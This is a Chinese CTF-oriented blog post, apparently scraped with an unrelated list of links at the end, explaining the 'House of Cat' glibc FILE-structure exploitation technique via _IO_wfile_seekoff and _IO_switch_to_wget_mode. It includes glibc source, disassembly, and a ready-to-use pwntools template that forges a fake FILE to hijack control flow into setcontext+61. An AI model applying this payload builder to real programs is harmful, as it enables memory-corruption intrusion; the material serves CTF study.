当前位置: 首页 > news >正文

House of Cat

在一些堆题中,如果要利用 setcontext+61 劫持控制流,需要让 rdx 指向可控的地址,在高版本下,这一般需要通过寻找 gadget 实现,而 house of cat 可以在攻击时直接控制 rdx

house of cat 利用链的构造思想与 house of apple2 类似,都是利用 wfilevtable 缺少检查这个性质。

house of cat 的利用链为 _IO_wfile_seekoff -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW,由于对于虚表的检查是 check 这个地址是否在指定的区间内,所以只要有调用到 _IO_FILE 的虚表函数的情况,就可以通过修改 vtable 为任意虚表函数地址实现执行任意虚表函数。

这条利用链的相关源码如下:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{off64_t result;off64_t delta, new_offset;long int count;if (mode == 0)return do_ftell_wide (fp);int must_be_exact = ((fp->_wide_data->_IO_read_base== fp->_wide_data->_IO_read_end)&& (fp->_wide_data->_IO_write_base== fp->_wide_data->_IO_write_ptr));bool was_writing = ((fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)|| _IO_in_put_mode (fp));if (was_writing && _IO_switch_to_wget_mode (fp))return WEOF;
......
int
_IO_switch_to_wget_mode (FILE *fp)
{if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)return EOF;......
}
}

可以看到需要绕过 was_writing fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 如果我们能够伪造 fake_file,这些都是可控的。

最值得关注的是调用 _IO_WOVERFLOW 时的汇编:

► 0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr640x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

核心是这几句:

0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

结合前面的源码,这里的 rdi 就是 fp,也就是我们可控的 file,所以执行前的 rax 可控,进而 rdx 可控,同时最终 call 的地址也可控。

根据这些固定的偏移,可以直接总结成这样的板子拿来用:

from pwn import *def house_of_cat(chunk_addr,wfile_jumps_addr,call_addr,rdi=0,rdx=None,writable_addr=None,ex_off=0x10,
):payload = bytearray(b"\x00" * 0x130)if rdx is None:rdx = chunk_addr + 0xb0if writable_addr is None:writable_addr = chunk_addr + 0x1000def set_val(offset, val, size=8):start = offset - ex_offif start < 0:returnpayload[start : start + size] = p64(val) if size == 8 else p32(val)set_val(0x00, rdi)                         # _flags / rdiset_val(0x40, 1)set_val(0x48, 2)set_val(0x50, rdx)                         # _IO_backup_base / rdxset_val(0x58, call_addr)                   # _IO_save_end / callset_val(0x68, 0)                           # _chainset_val(0x88, writable_addr)               # _lockset_val(0xa0, chunk_addr + 0x30)           # _wide_data / rax1set_val(0xc0, 1)                           # _modeset_val(0xd8, wfile_jumps_addr + 0x30)     # vtableset_val(0x110, chunk_addr + 0x40)          # rax2return bytes(payload)# payload = house_of_cat(fake_io, libc.sym["_IO_wfile_jumps"], setcontext + 61, rdx=frame_addr)

上述模板是在用 _IO_flush_all_lockpFSOP 的情景下的,如果要用 _malloc_assert 打,vtable 处的偏移应该为 0x10

这题可以用 house of cat 来打:CISCN2024-Quals EzHeap

http://www.zskr.cn/news/1394949.html

相关文章:

  • 为Hermes Agent自定义配置Taotoken作为稳定的大模型后端
  • 基于BERT与CNN的土耳其语假新闻检测:从数据构建到模型优化实战
  • Taotoken 的用量看板如何帮助项目管理者清晰掌握模型支出
  • 华大HC32F4A0 USART1的PCLK时钟源到底怎么算?手把手教你配置19200波特率(含库函数源码分析)
  • Node js 服务端应用如何稳定集成 Taotoken 提供的多模型聚合能力
  • Java Stream Collectors.toMap实战:从基础用法到冲突解决
  • 学生党AI搜索避坑手册(2024高校图书馆实测数据版):这3类工具正在悄悄拖垮你的学习效率!
  • 多项式插值算法
  • ARM SVE2饱和运算指令SQDMLSLBT与SQDMULH详解
  • 4.2 咖啡师不需要十年功底,兼职一周上手
  • Haystack构建可交付Agentic工作流实战指南
  • 司法AI实战:从NLP到知识图谱,构建全流程智能审判系统
  • 专业做日式搬家的上海公司排名及其优势参考 - 资讯快报
  • 自制听觉化逻辑探针:用声音调试数字电路
  • API Key集中管理功能助力企业规范内部大模型使用
  • Escrcpy安卓镜像控制工具:终极图形化Android投屏控制完整指南
  • 新手必看!用TD8620高斯计实测永磁铁与电磁铁,附线圈匝数计算实战
  • 对比直连与聚合接入,体验Taotoken在API调用失败时的自动容灾
  • 用状态机做移动游戏端到端稳定性自动化
  • 四种索引,一个系统,重新定义 AI 如何理解知识
  • 基于ESP32打造离线可穿戴智能助理:本地语音识别与低功耗设计实践
  • 模拟电路版图工具PK:Synopsys Custom Compiler、LAYGO2、Berkeley BAG2、ALIGN、MAGICAL(包括维护时间)
  • Unity IL2Cpp逆向实战:从元数据解析到AES密钥还原
  • KityMinder脑图工具:5个超实用技巧让你工作效率翻倍
  • Android SO文件逆向分析实战:从ELF结构到ARM64动态调试
  • saentis刚玉球SA50008467,氧化铜SA99060305,锡箔杯SA76152301选哪家?天津欧捷科技获得用户推荐 - 品牌推荐大师1
  • Unity跨平台输入系统深度解析:设备、坐标、时序与语义四大断裂带
  • 从claude code频繁封号到稳定使用,taotoken提供的合规接入与token保障
  • Claude Code用户如何无缝切换至Taotoken解决配额烦恼
  • 老旧设备系统兼容性完整指南:让过时硬件焕发新生